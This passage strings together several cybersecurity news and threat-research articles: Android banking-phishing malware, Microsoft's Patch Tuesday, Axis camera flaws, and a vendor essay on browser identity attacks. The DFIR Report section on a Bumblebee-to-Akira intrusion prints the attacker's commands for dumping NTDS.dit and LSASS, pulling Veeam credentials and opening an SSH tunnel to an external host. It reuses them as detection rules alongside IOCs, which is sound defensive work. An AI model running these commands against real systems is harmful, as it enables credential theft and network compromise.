from official banking websites. The list of malicious apps is as follows - Axis Bank Credit Card (com.NWilfxj.FxKDr) ICICI Bank Credit Card (com.NWilfxj.FxKDr) IndusInd Credit Card (com.NWilfxj.FxKDr) State Bank of India Credit Card (com.NWilfxj.FxKDr) The malware is designed to display a bogus user interface that prompts victims to enter their personal information, including names, card numbers, CVV codes, expiry dates, and mobile numbers. A notable aspect of the app is its ability to listen to specific messages sent via Firebase Cloud Messaging (FCM) to trigger the mining process. "The app delivered through these phishing sites functions as a dropper, meaning it initially appears harmless but later dynamically loads and executes the actual malicious payload," McAfee researcher Dexter Shin said. "This technique helps evade static detection and complicates analysis." "These phishing pages load images, JavaScript, and other web resources directly from the official websites to appear legitimate. However, they include additional elements such as 'Get App' or 'Download' buttons, which prompt users to install the malicious APK file." The findings also follow a report from Zimperium zLabs detailing how rooting frameworks like KernelSU, APatch, and SKRoot can be used to gain root access and escalate privileges, allowing an attacker to gain full control of Android devices. The mobile security company said it discovered in mid-2023 a security flaw in KernelSU (version 0.5.7) that it said could allow attackers to authenticate as the KernelSU manager and completely compromise a rooted Android device via a malicious application already installed on it that also bundles the official KernelSU manager APK. However, an important caveat to pull off this attack is that it's only effective if the threat actor application is executed before the legitimate KernelSU manager application. "Because system calls can be triggered by any app on the device, strong authentication and access controls are essential," security researcher Marcel Bathke said. "Unfortunately, this layer is often poorly implemented – or entirely neglected – which opens the door to serious security risks. Improper authentication can allow malicious apps to gain root access and fully compromise the device." Update In a separate report published this week, Recorded Future said Chinese-speaking threat actors are increasingly using the NFC-based relay technique, called Ghost Tap, to commit retail fraud by using stolen payment card details linked to mobile payment services like Apple Pay and Google Pay. Some of the activity has been traced back to @webu8 and @djdj8884, who have been advertising burner phones, ghost-tapping services, and compromised payment card credentials to Chinese-speaking threat groups on Telegram and engaged with threat actors involved in retail fraud campaigns. These services are peddled on Telegram-based escrow platforms, such as HuiOne Guarantee, Xinbi Guarantee, and Tudou Guarantee. "This technique allows these threat actors to provide mules with stolen payment card details linked to contactless payment systems in person to obtain physical goods, eventually transporting and reselling stolen goods for profit," the Mastercard-owned company said. "Chinese-speaking cybercriminals are using automation to add stolen payment card information to contactless payment wallets, selling burner phones, and providing an unspecified peripheral software capable of relaying payment card details to separate mobile devices to multiple Chinese-speaking criminal syndicates." Google shared the below statement with the The Hacker News following the publication of the story - Based on our current detection, no apps containing this malware are found on Google Play. Android users are automatically protected against known versions of this malware by Google Play Protect, which is on by default on Android devices with Google Play Services.

Microsoft on Tuesday rolled out fixes for a massive set of 111 security flaws across its software portfolio, including one flaw that has been disclosed as publicly known at the time of the release. Of the 111 vulnerabilities, 16 are rated Critical, 92 are rated Important, two are rated Moderate, and one is rated Low in severity. Forty-four of the vulnerabilities relate to privilege escalation, followed by remote code execution (35), information disclosure (18), spoofing (8), and denial-of-service (4) defects. This is in addition to 16 vulnerabilities addressed in Microsoft's Chromium-based Edge browser since the release of last month's Patch Tuesday update, including two spoofing bugs affecting Edge for Android. Included among the vulnerabilities is a privilege escalation vulnerability impacting Microsoft Exchange Server hybrid deployments (CVE-2025-53786, CVSS score: 8.0) that Microsoft disclosed last week. The publicly disclosed zero-day is CVE-2025-53779 (CVSS score: 7.2), another privilege escalation flaw in Windows Kerberos that stems from a case of relative path traversal. Akamai researcher Yuval Gordon has been credited with discovering and reporting the bug. It's worth mentioning here that the issue was documented in detail back in May 2025 by the web infrastructure and security company, giving it the codename BadSuccessor. The novel technique essentially allows a threat actor with sufficient privileges to compromise an Active Directory (AD) domain by misusing delegated Managed Service Account (dMSA) objects. "The good news here is that successful exploitation of CVE-2025-53779 requires an attacker to have pre-existing control of two attributes of the hopefully well protected dMSA: msds-groupMSAMembership, which determines which users may use credentials for the managed service account, and msds-ManagedAccountPrecededByLink, which contains a list of users on whose behalf the dMSA can act," Adam Barnett, lead software engineer at Rapid7, told The Hacker News. "However, abuse of CVE-2025-53779 is certainly plausible as the final link of a multi-exploit chain which stretches from no access to total pwnage." Action1's Mike Walters noted that the path traversal flaw can be abused by an attacker to create improper delegation relationships, enabling them to impersonate privileged accounts, escalate to a domain administrator, and potentially gain full control of the Active Directory domain. "An attacker who already has a compromised privileged account can use it to move from limited administrative rights to full domain control," Walters added. "It can also be paired with methods such as Kerberoasting or Silver Ticket attacks to maintain persistence." "With domain administrator privileges, attackers can disable security monitoring, modify Group Policy, and tamper with audit logs to hide their activity. In multi-forest environments or organizations with partner connections, this flaw could even be leveraged to move from one compromised domain to others in a supply chain attack." Satnam Narang, senior staff research engineer at Tenable, said the immediate impact of BadSuccessor is limited, as only 0.7% of Active Directory domains had met the prerequisite at the time of disclosure. "To exploit BadSuccessor, an attacker must have at least one domain controller in a domain running Windows Server 2025 in order to achieve domain compromise," Narang pointed out. Some of the notable Critical-rated vulnerabilities patched by Redmond this month are below - CVE-2025-53767 (CVSS score: 10.0) - Azure OpenAI Elevation of Privilege Vulnerability CVE-2025-53766 (CVSS score: 9.8) - GDI+ Remote Code Execution Vulnerability CVE-2025-50165 (CVSS score: 9.8) - Windows Graphics Component Remote Code Execution Vulnerability CVE-2025-53792 (CVSS score: 9.1) - Azure Portal Elevation of Privilege Vulnerability CVE-2025-53787 (CVSS score: 8.2) - Microsoft 365 Copilot BizChat Information Disclosure Vulnerability CVE-2025-50177 (CVSS score: 8.1) - Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability CVE-2025-50176 (CVSS score: 7.8) - DirectX Graphics Kernel Remote Code Execution Vulnerability Microsoft noted that the three cloud service CVEs impacting Azure OpenAI, Azure Portal, and Microsoft 365 Copilot BizChat have already been remediated, and that they require no customer action. Check Point, which disclosed CVE-2025-53766 alongside CVE-2025-30388, said the vulnerabilities allow attackers to execute arbitrary code on the affected system, leading to a full system compromise. "The attack vector involves interacting with a specially crafted file. When a user opens or processes this file, the vulnerability is triggered, allowing the attacker to take control," the cybersecurity company said. The Israeli firm revealed that it also uncovered a vulnerability in a Rust-based component of the Windows kernel that can result in a system crash that, in turn, triggers a hard reboot. "For organizations with large or remote workforces, the risk is significant: attackers could exploit this flaw to simultaneously crash numerous computers across an enterprise, resulting in widespread disruption and costly downtime," Check Point said. "This discovery highlights that even with advanced security technologies like Rust, continuous vigilance and proactive patching are essential to maintaining system integrity in a complex software environment." Another vulnerability of importance is CVE-2025-50154 (CVSS score: 6.5), an NTLM hash disclosure spoofing vulnerability that's actually a bypass for a similar bug (CVE-2025-24054, CVSS score: 6.5) that was plugged by Microsoft in March 2025. "The original vulnerability demonstrated how specially crafted requests could trigger NTLM authentication and expose sensitive credentials," Cymulate researcher Ruben Enkaoua said. "This new vulnerability [...] allows an attacker to extract NTLM hashes without any user interaction, even on fully patched systems. By exploiting a subtle gap left in the mitigation, an attacker can trigger NTLM authentication requests automatically, enabling offline cracking or relay attacks to gain unauthorized access." Software Patches from Other Vendors In addition to Microsoft, security updates have also been released by other vendors over the past several weeks to rectify several vulnerabilities, including — 7-Zip Adobe Amazon Web Services AMD AMI Apple Arm ASUS Atlassian Autodesk Axis Communications Bosch Broadcom (including VMware) Check Point Cisco CODESYS D-Link Dell Drupal Elastic Emerson F5 Fortinet Fortra Foxit Software FUJIFILM Fujitsu Gigabyte GitLab Google Android and Pixel Google Chrome Google Cloud Google Wear OS HMS Networks HP HP Enterprise (including Aruba Networking) Huawei IBM Intel Ivanti Juniper Networks Lenovo Linux distributions AlmaLinux, Alpine Linux, Amazon Linux, Arch Linux, Debian, Gentoo, Oracle Linux, Mageia, Red Hat, Rocky Linux, SUSE, and Ubuntu MediaTek Mitel Mitsubishi Electric Moxa Mozilla Firefox, Firefox ESR, and Thunderbird NVIDIA Palo Alto Networks Qualcomm Rockwell Automation Salesforce Samsung SAP Schneider Electric ServiceNow Siemens SolarWinds SonicWall Sophos Splunk Spring Framework Supermicro Synology TP-Link Trend Micro WinRAR Xerox Zimbra Zoom, and Zyxel

SecurityWeek’s cybersecurity news roundup provides a concise compilation of noteworthy stories that might have slipped under the radar. We provide a valuable summary of stories that may not warrant an entire article, but are nonetheless important for a comprehensive understanding of the cybersecurity landscape. Each week, we curate and present a collection of noteworthy developments, ranging from the latest vulnerability discoveries and emerging attack techniques to significant policy changes and industry reports. Here are this week’s stories: Amazon ECS attack Sweet Security has disclosed the details of ECScape, an attack method that enables privilege escalation in Amazon ECS from a compromised container. The security firm’s researchers managed to obtain keys that would allow an attacker to move laterally, access private repositories and secrets, and seize broad control of the cloud environment. Sweet Security said AWS acknowledged the attack could work against hundreds of millions of machines and containers worldwide, but the cloud giant does not classify it as a vulnerability in its products. It did, however, update its documentation as a result of the research. Alera Group data breach impacts 155,000 Insurance and financial services firm Alera Group revealed that an intrusion detected in August 2024 resulted in the personal information of 155,000 customers and employees getting compromised. Hackers had access to the company’s systems between July 19 and August 4, 2024, and obtained highly sensitive information, including SSNs, passports, and medical information. Nvidia promises GPUs do not and should not have kill switches and backdoors In a new blog post, Nvidia says embedding backdoors and kill switches into chips would be a gift to hackers and hostile actors, and would undermine global digital infrastructure and fracture trust in US technology. Chanel data breach Chanel has joined the increasingly long list of fashion retailers targeted recently by hackers. The company said threat actors targeted a third-party service. Chanel is likely one of the many organizations targeted by the ShinyHunters cybercrime group in a campaign aimed at Salesforce instances. Other victims include Dior, Louis Vuitton, Google and Cisco. CISA issues emergency directive for Microsoft exchange vulnerability CISA has issued an emergency directive instructing federal agencies to address a recently disclosed Microsoft Exchange vulnerability by August 11. The vulnerability, CVE-2025-53786, was disclosed on August 6 and it impacts hybrid deployments. It allows attackers with admin access to escalate privileges. CISA says while there is no evidence of in-the-wild exploitation, it’s “deeply concerned at the ease with which a threat actor could escalate privileges and gain significant control of a victim’s M365 Exchange Online environment”. Streamlit vulnerability enabled stock market dashboard tampering Cato Networks has discovered a vulnerability in Streamlit, an open source framework for building data applications, including ML prototypes, healthcare analytics dashboards, and financial data visualizations. The flaw, patched in March, could enable threat actors to conduct a cloud account takeover attack. Cato demonstrated the vulnerability’s potential impact by showing how threat actors could manipulate stock market dashboards built with Streamlit. Exposure assessment of US energy sector SixMap has released a comprehensive cybersecurity assessment of 21 US energy providers. The research identified 39,986 hosts with 58,862 services exposed to the internet across these organizations. Roughly 7% of all exposed services are running on non-standard ports, creating dangerous blind spots for security teams. The research also found that, on average, each organization had 9% of its hosts in the IPv6 space, another area of potential risk, as most security teams have no way of monitoring these assets. Satellite hacking research VisionSpace Technologies researchers demonstrated at Black Hat how easy it is to hack satellites by exploiting software vulnerabilities in the satellites themselves and the ground stations used to control them. The researchers found vulnerabilities that can be exploited to crash the software on a satellite, and also showed how hackers could change a satellite’s orbit by sending commands to its thrusters, The Register reported. Federal court filing system hack Sensitive court data from multiple US states is believed to have been exposed following a serious breach of the electronic case filing system used by federal courts, Politico learned from sources. The full extent of the breach is still being investigated. While it’s unclear who was behind the hack, state-sponsored threat actors are the main suspect. Axis Communications video surveillance vulnerabilities Researchers at Claroty have found potentially serious vulnerabilities in Axis Communications video surveillance products. An attacker could hijack video feeds, shut down cameras, or move laterally across a target network. Internet scans revealed over 6,500 exposed instances, with more than half located in the US. Axis has released patches and says it’s not aware of in-the-wild exploitation.

Cybersecurity researchers have disclosed multiple security flaws in video surveillance products from Axis Communications that, if successfully exploited, could expose them to takeover attacks. "The attack results in pre-authentication remote code execution on Axis Device Manager, a server used to configure and manage fleets of cameras, and the Axis Camera Station, client software used to view camera feeds," Claroty researcher Noam Moshe said. "Furthermore, using internet scans of exposed Axis.Remoting services, an attacker can enumerate vulnerable servers and clients, and carry out granular, highly targeted attacks." The list of identified flaws is below - CVE-2025-30023 (CVSS score: 9.0) - A flaw in the communication protocol used between client and server that could lead to an authenticated user performing a remote code execution attack (Fixed in Camera Station Pro 6.9, Camera Station 5.58, and Device Manager 5.32) CVE-2025-30024 (CVSS score: 6.8) - A flaw in the communication protocol used between client and server that could be leveraged to execute an adversary-in-the-middle (AitM) attack (Fixed in Device Manager 5.32) CVE-2025-30025 (CVSS score: 4.8) - A flaw in the communication protocol used between the server process and the service control that could lead to a local privilege escalation (Fixed in Camera Station Pro 6.8 and Device Manager 5.32) CVE-2025-30026 (CVSS score: 5.3) - A flaw in the Axis Camera Station Server that could lead to an authentication bypass (Fixed in Camera Station Pro 6.9 and Camera Station 5.58) Successful exploitation of the aforementioned vulnerabilities could allow an attacker to assume an AitM position between the Camera Station and its clients, effectively making it possible to alter requests/responses and execute arbitrary actions on either the server or client systems. There is no evidence that the issues have been exploited in the wild. Claroty said it found more than 6,500 servers that expose the proprietary Axis.Remoting protocol and its services over the internet, out of which nearly 4,000 of them are located in the U.S. "Successful exploits give attackers system-level access on the internal network and the ability to control each of the cameras within a specific deployment," Moshe noted. "Feeds can be hijacked, watched, and/or shut down. Attackers can exploit these security issues to bypass authentication to the cameras and gain pre-authentication remote code execution on the devices."

Thousands of organizations could be vulnerable to attack after researchers discovered four critical vulnerabilities in the products of Axis Communications, a leading manufacturer of CCTV cameras and surveillance equipment. OT security firm Claroty and its research branch, Team82, shared findings at Black Hat USA, in Las Vegas, on August 6. Flaws in Axis Proprietary Client-Server Communication Protocol Team82 researcher, Noam Moshe, discovered the vulnerabilities which all originating from a fundamental flaw in Axis.Remoting, a proprietary communication protocol used between client applications and Axis’ servers. Upon discovery, Team82 quickly notified Axis Communications, which publicly reported them – the manufacturer is a certified Common Vulnerabilities and Exposures (CVE) Numbering Authority (CNA). They are tracked as follows: CVE-2025-30023. A critical flaw (CVSS score: 9) affecting Axis Camera Station Pro before version 6.9, Axis Camera Station before version 5.58 and Axis Device Manager before version 5.32 that could lead to an authenticated user performing a remote code execution (RCE) attack CVE-2025-30024. A medium-severity flaw (CVSS score: 6.8) affecting Axis Device Manager before version 5.32 that could be leveraged to execute a man-in-the-middle (MitM) attack CVE-2025-30025. A medium severity flaw (CVSS score: 4.8) affecting Axis Camera Station version 5, Axis Camera Station Pro before version 6.7 and Axis Device Manager before version 5.32 that could lead to a local privilege escalation CVE-2025-30026. A medium severity flaw (CVSS score: 5.3) affecting Axis Camera Station before version 5.58 and Axis Camera Station Pro before version 6.9 that could allow an authentication bypass attack The manufacturer stated in its advisories that it had observed no in the exploitation in the wild of any of the four flaws. It also released patches in the following software updates: Axis Camera Station Pro 6.9 Axis Camera Station 5.58 Axis Device Manager 5.32 Despite public disclosure, the CVE entries still currently appear under the ‘Reserved’ status on the website of the CVE program, suggesting that more information will be made available after the Team82 session at Black Hat, which is to be held on August 6. On the US National Vulnerability Database (NVD) website, the four vulnerabilities are registered under the status ‘Awaiting Analysis,’ which typically means that the NVD team has not yet added any enriched data around these flaws. 6,500 Axis Communications Servers Exposed Despite no known records of exploitation, the Team82 researchers discovered more than 6,500 servers exposing this protocol and its services to the internet, more than half of those (almost 4,000) in the US. This came following an internet scan using tools like Censys and Shodan. “Each of these servers could potentially manage hundreds or thousands of individual cameras. Given current bans on Chinese technology in many corners of the world, an organization’s choice of vendors has become somewhat limited, putting more emphasis on the protection of platforms available for these deployments,” the researchers added. Team82 developed an exploit chain that targets vulnerabilities in the Axis.Remoting communication protocol. According to their findings, the attack enables unauthorized access to both the centralized Axis Device Manager and the Axis Camera Station. Successful exploitation of these vulnerabilities could allow an attacker to infiltrate an internal network and execute code remotely on either the server or client systems. Additionally, Team82 highlighted that an attacker positioned as a MitM could exploit a pass-the-request flaw in the protocol, potentially decrypting traffic and achieving remote code execution. They also warned that by scanning the internet for exposed Axis.Remoting services, an attacker could identify vulnerable servers and clients, facilitating precise and targeted attacks. “Team 82 wishes to acknowledge Axis Communications’ quick response to our disclosure. They accepted our disclosure report and worked on the patches and updates in a timely fashion,” read the report. Photo credits: Fredrik Eriksson / ChristianLphoto / Shutterstock.com

Overview Bumblebee malware has been an initial access tool used by threat actors since late 2021. In 2023 the malware was first reported as using SEO poisoning as a delivery mechanism. Recently in May of 2025 Cyjax reported on a campaign using this method again, impersonating various IT tools. We observed a similar campaign in July in which a download of an IT management tool ended with Akira ransomware. In July 2025, we observed a threat actor compromise an organization through this SEO poisoning campaign. A user searching for “ManageEngine OpManager” was directed to a malicious website, which delivered a trojanized software installer. This action led to the deployment of the Bumblebee malware, granting the threat actor initial access to the environment. The intrusion quickly escalated from a single infected host to a full-scale network compromise. Following initial access, the threat actor moved laterally to a domain controller, dumped credentials, installed persistent remote access tools, and exfiltrated data using an SFTP client. The intrusion culminated in the deployment of Akira ransomware across the root domain. The threat actor returned two days later to repeat the process, encrypting systems within a child domain and causing significant operational disruption across the enterprise. This campaign affected multiple organizations during July as we received confirmation of a similar intrusion responded to by the Swisscom B2B CSIRT in which a malicious IT tool dropped Bumblebee and also ended with Akira ransomware deployment. Our customers received notice of this campaign in early July followed by a private threat brief report. If you are interested in the full report or additional IOCs please contact us. Private Threat Briefs: 20+ private DFIR reports annually. Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, Threat Actor Insights reports, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset: Features 170+ Sigma rules derived from 50+ cases, mapped to ATT&CK with test examples. DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for pricing or a demo! This intrusion began when a user, searching for “ManageEngine OpManager” on Bing, was directed to the malicious site opmanager[.]pro. The user downloaded a trojanized MSI installer, ManageEngine-OpManager.msi, which, upon execution, installed the legitimate software while simultaneously loading the Bumblebee malware msimg32.dll via consent.exe. The Bumblebee malware established command and control (C2) with 109.205.195[.]211:443 and 188.40.187[.]145:443 using DGA domains. By targeting IT management tools and software in both our intrusion and the one observed by Swisscom B2B CSIRT, the users executing the malware were highly privileged IT administrator accounts within Active Directory. This provided easy privileged access to the threat actors for their next actions. Approximately five hours after this initial execution, Bumblebee deployed an AdaptixC2 beacon (AdgNsy.exe), which established a new C2 channel to 172.96.137[.]160:443. The threat actor then initiated internal reconnaissance using built-in Windows utilities, including systeminfo, nltest /dclist:, whoami /groups, and net group domain admins /dom. Following this, the threat actor then created two new domain accounts, backup_DA and backup_EA, and added the latter to the “Enterprise Administrators” group. Using the privileged backup_EA account, the threat actor connected to a domain controller via RDP and dumped the NTDS.dit file using wbadmin.exe. wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include":C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY" -quiet For persistence and re-entry, the threat actor installed the RustDesk remote access tool on several hosts. In a subsequent session, the threat actor established a SSH tunnel to an external server at 193.242.184[.]150 to proxy their activity. ssh [email protected] -R *:10400 -p22 They continued discovery by deploying a renamed SoftPerfect network scanner (n.exe). Following this, they targeted a backup server, and attempted to dump credentials from the Veeam PostgreSQL database. psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" Around the same time, the threat actor installed FileZilla on a file server and exfiltrated data via SFTP to 185.174.100[.]203. They performed LSASS memory dumping on multiple workstations using rundll32.exe with comsvcs.dll using a combination of remote services and WMI. The threat actor then deployed the Akira ransomware payload, locker.exe, and executed it with various command-line options to encrypt local, remote network shares, and other directories on remote hosts. Two days after this first ransomware deployment, the threat actor returned via RustDesk, connected to a child domain controller, and performed another round of discovery using Invoke-ShareFinder and DNS zone export commands, before deploying Akira ransomware to the child domain. Time to the first round of ransomware (TTR) was just shy of 44 hours after initial access. Swisscom B2B CSIRT reported an even faster TTR of just nine hours from initial access. During our investigation of the OpManager site, we identified two additional websites that appear to be distributing trojanized installers for Axis Camera tools and Angry IP Scanner. Refer to the IOC section for further details. Detection Engineering and Threat Hunting (DEATH) Hunt for MSI installations from user directories followed by suspicious child processes: Monitor msiexec.exe executing from user Desktop/Downloads (C:\Users\*\Desktop\*.msi, C:\ProgramData\*.msi) and spawning unexpected children like consent.exe or unusual image load events for msimg32.dll. Review unusual MSI packages with suspicious names: Look for MSI files with generic names like ManageEngine-OpManager.msi or rustdesk-*.msi downloaded to user directories. Is this software generally allowed in you environment? Is this a commonly used remote access tool for your users? Does the software being installed make sense for the users job role? Credential Access Hunt for LSASS memory dumping via comsvcs.dll with tasklist enumeration: cmd.exe /Q /c for /f "tokens=1,2 delims= " %%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+000024 %%B \Windows\Temp\*.* full Detect LSASS dumps with unusual file extensions: Monitor rundll32.exe comsvcs.dll #+000024 writing to \Windows\Temp\ with non-standard extensions like .sys, .docx, .avhdx Monitor PostgreSQL credential extraction from Veeam databases: psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" Monitor wbadmin abuse for NTDS.dit/Hive dumping: wbadmin start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include:"C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY" -quiet Discovery Hunt for rapid domain enumeration sequences within short time-frames ( -R *:10400 -p22 Hunt for Bumblebee DGA patterns: Look for multiple DNS queries to domains matching pattern [8-14 random chars].org (e.g., ev2sirbd269o5j[.]org, ijt0l3i8brit6q[.]org) within seconds of each other. Lateral Movement Hunt for RDP logons using newly created accounts: Monitor Type 10 logons from compromised internal systems using accounts like backup_EA Detect suspicious inter-system authentication patterns: Look for authentication from initial access systems to domain controllers within hours of account creation Data Collection & Exfiltration Hunt for FileZilla installation on servers followed by large outbound transfers: Detect FileZilla_*_setup.exe execution on server systems, especially when followed by significant network traffic Look for data staging in ProgramData: Monitor file writes to C:\ProgramData\shares.txt, C:\ProgramData\*.txt containing reconnaissance output Defense Evasion Detect case variation in command execution: Hunt for mixed-case command invocations like Cmd.eXE, CmD.Exe which may indicate evasion attempts Behavioral Correlation Rules Multi-stage attack progression: Alert when a single system exhibits: MSI installation → discovery commands → credential access → lateral movement within 24 hours Cross-system activity correlation: Hunt for accounts created on one system and immediately used for authentication on another (<= 5mins) Tool deployment patterns: Monitor for remote access tool installation (RustDesk) followed by SSH tunneling activity from the same network segment Indicators of Compromise (IOCs) Domains: ev2sirbd269o5j.org (Bumblebee DGA domain) 2rxyt9urhq0bgj.org (Bumblebee DGA domain) DFIR Report: opmanager[.]pro (Malicious site for trojanized installer) angryipscanner.org (Malicious site for trojanized installer) axiscamerastation.org (Malicious site for trojanized installer) Swisscom B2B CSIRT: ip-scanner[.]org (Malicious site for trojanized installer) IP Addresses: 109.205.195[.]211 (Bumblebee C2) 188.40.187[.]145 (Bumblebee C2) DFIR Report: 172.96.137[.]160 (AdaptixC2 C2) Swisscom B2B CSIRT: 170.130.55[.]223 (AdaptixC2 C2) DFIR Report: 193.242.184[.]150 (SSH Tunnel Host) Swisscom B2B CSIRT: 83.229.17[.]60 (SSH Tunnel Host) 185.174.100[.]203 (SFTP Exfiltration Server) File Hashes: DFIR Report: ManageEngine-OpManager.msi 186b26df63df3b7334043b47659cba4185c948629d857d47452cc1936f0aa5da (Malicious installer) Swisscom B2B CSIRT: Advanced-IP-Scanner.msi a14506c6fb92a5af88a6a44d273edafe10d69ee3d85c8b2a7ac458a22edf68d2 (Malicious installer) DFIR Report: msimg32.dll a6df0b49a5ef9ffd6513bfe061fb60f6d2941a440038e2de8a7aeb1914945331 (Bumblebee) Swisscom B2B CSIRT: msimg32.dll 6ba5d96e52734cbb9246bcc3decf127f780d48fa11587a1a44880c1f04404d23 (Bumblebee) DFIR Report: locker.exe de730d969854c3697fd0e0803826b4222f3a14efe47e4c60ed749fff6edce19d (Akira ransomware) Swisscom B2B CSIRT: win.exe 18b8e6762afd29a09becae283083c74a19fc09db1f2c3412c42f1b0178bc122a (Akira ransomware) #TB36726

Until recently, the cyber attacker methodology behind the biggest breaches of the last decade or so has been pretty consistent: Compromise an endpoint via software exploit, or social engineering a user to run malware on their device; Find ways to move laterally inside the network and compromise privileged identities; Repeat as needed until you can execute your desired attack — usually stealing data from file shares, deploying ransomware, or both. But attacks have fundamentally changed as networks have evolved. With the SaaS-ification of enterprise IT, core business systems aren’t locally deployed and centrally managed in the way they used to be. Instead, they’re logged into over the internet, and accessed via a web browser. Under the shared responsibility model, the part that’s left to the business consuming a SaaS service is mostly constrained to how they manage identities — the vehicle by which the app is accessed and used by the workforce. It’s no surprise that this has become the soft underbelly in the crosshairs of attackers. We’ve seen this time and again in the biggest breaches of recent years, with the highlights including the massive Snowflake campaign in 2024 and the 2025 crime wave attributed to Scattered Spider. These attacks are so successful because while attackers have moved with the changes to enterprise IT, security hasn’t really kept up. The browser is the new battleground — and a security blind spot Taking over workforce identities is the first objective for attackers looking to target an organization, and the browser is the place where the attacks against users happen. This is because it’s where these digital identities are created and used — and their credentials and sessions live. This is what the attacker wants to get their hands on. Stolen credentials can be used as part of targeted attacks or in broader credential stuffing (cycling known username and credential pairs against various apps and platforms), while stolen session tokens can be used to log in directly to an active session, bypassing the authentication process. There are a few different techniques that attackers can use to get access to these identities. Attackers harvest stolen credentials from various places — data breach dumps, mass credential phishing campaigns, infostealer logs, even malicious browser extensions that they’ve tricked an employee into installing. In fact, the cyber crime ecosystem itself has shifted on its axis to cater to this, with hackers specifically taking on the role of harvesting credentials and establishing account access for others to exploit. The high-profile Snowflake breaches in 2024 signalled a watershed moment in the shift to identity-driven breaches, where attackers logged into accounts across hundreds of customer tenants using stolen credentials. One of the primary sources of the stolen credentials used in the attacks were infostealer logs dating back to 2020 — breached passwords that hadn’t been rotated or mitigated with MFA. Infostealers are notable because they’re an endpoint malware attack designed to harvest credentials and session tokens (primarily from the browser) to enable the attacker to then log into those services… through their own web browser. So, even today’s endpoint attacks are seeing the attacker pivot back into the browser in order to get to identities — the key to the online apps and services where exploitable data and functionality now resides. Attacks in the browser vs. on the browser There’s an important distinction to be made between attacks that happen in the browser, vs. those happening against the browser itself. There’s growing consensus that the browser is the new endpoint. But the analogy isn’t perfect — the reality is that web browsers have a comparatively limited attack surface compared to the complexity of the traditional endpoint — comparing something like Google Chrome with a Windows OS seems a very unbelievable concept. Attacks that target the browser itself as a mechanism to compromise identities are few and far between. One of the more obvious vectors is using malicious browser extensions — so, scenarios in which a user has either: Been lured into installing an already malicious extension, or Is using a browser extension that is later compromised by an attacker But the problem of malicious extensions is something you solve once, and then move on. The reality is that users should not be installing random browser extensions, and given the risk, you should: Lock down your environment to allow only a handful of essential extensions. Monitor for indicators that an extension you trust is compromised. This doesn’t apply in an environment where you give users full access to install whatever extensions they choose. But if the browser is the new endpoint, this is a bit like all your users being local admins — you’re asking for trouble. And locking down extensions in your organizations is something that can be achieved using native tools if you’re, for example, a Chrome Enterprise customer. Audit your users once, approve only what’s needed, and require further approval to install new extensions. Identity is the prize, browser is the platform — and phishing is the weapon of choice But the technique that’s STILL driving the most impactful identity-driven breaches? It’s phishing. Phishing for credentials, sessions, OAuth consent, authorization codes. Phishing via email, instant messenger, social media, malicious Google ads… it all happens in, or leads to, the browser. And modern phishing attacks are more effective than ever. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques to block email and network security tools from intercepting them. Probably the most common example today is the use of bot protection (think CAPTCHA or Cloudflare Turnstile), using legitimate anti-spam features to block security tools. The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom CAPTCHA, and using runtime anti-analysis features, making them increasingly difficult to detect. The ways in which links are delivered has also increased in sophistication, with more delivery channels (as we showed above) and the use of legitimate SaaS services for camouflage. And the latest trends indicate that attackers are responding to increasingly hardened IdP/SSO configuration by exploiting alternative phishing techniques that circumvent MFA and passkeys, most commonly by downgrading to a phishable backup authentication method — which you can see in action below, and read more about here. Identities are the lowest-hanging fruit for attackers to aim for The goal of the modern attacker, and the easiest way into your business’s digital environment, is to compromise identities. Whether you’re dealing with phishing attacks, malicious browser extensions, or infostealer malware, the objective remains the same — account takeover. Organizations are dealing with a vast and vulnerable attack surface consisting of: Hundreds of applications, with thousands of accounts spread across the app estate. Accounts vulnerable to MFA-bypass phishing kits, because they are using a login method that is not phishing-resistant, or because the login method can be downgraded. Accounts with a weak, reused, or breached password and no MFA altogether (usually the result of a forgotten-about ghost login). Bypassing the authentication process entirely to evade otherwise phishing-resistant authentication methods, by abusing features like API key creation, app-specific passwords, OAuth consent phishing, cross-IdP impersonation, and more. A key driver of identity vulnerability is the huge variance in the configurability of accounts per application, with different levels of centralized visibility and security control of identities provided — for example, while one app can be locked down to only accept SSO logins via SAML and automatically remove any unused passwords, another provides no control or visibility of login method or MFA status (another big driver of the Snowflake breaches last year). Unfortunately, as a by-product of product-led growth and something that is compounded by every new SaaS startup that hits the market, this situation doesn’t look like it’s going to change anytime soon. The end result is that identities are misconfigured, invisible to the security team, and routinely exploited by commodity attacker tooling. It’s no surprise that they’re the primary target for attackers today. The solution: The browser as a telemetry source and control point Because identity attacks play out in the browser, it’s the perfect place for security teams to observe, intercept, and shut down these attacks. The browser has a number of advantages over the different places where identity can be observed and protected, because: You aren’t limited to the apps and identities directly connected to your IdP (a fraction of your workforce identity sprawl). You aren’t limited to the apps that you know about and manage centrally — you can observe every login that passes through the browser. You can observe all the properties of a login, including the login method, MFA method, etc. You’d otherwise need API access to maybe get this information (depending on whether an API is provided and whether this specific data can be interrogated, also not standard for many apps). It’s obvious with all that we’ve covered so far that fixing every identity vulnerability is an ominous task — the SaaS ecosystem itself is working against you. This is why detecting and responding to identity attacks is essential. Because identity compromise almost always involves phishing or social engineering a user to perform an action in their browser (with some exceptions — like the Scattered Spider-related help desk attacks seen recently), it’s also the perfect place to monitor for and intercept attacks. In the browser, you gather deep, contextualized information about page behavior and user inputs that can be used to detect and shut down risky scenarios in real time. Take the example of phishing pages. Because Push operates in the browser, it sees everything: The page layout Where the user came from The password they enter (as a salted, abbreviated 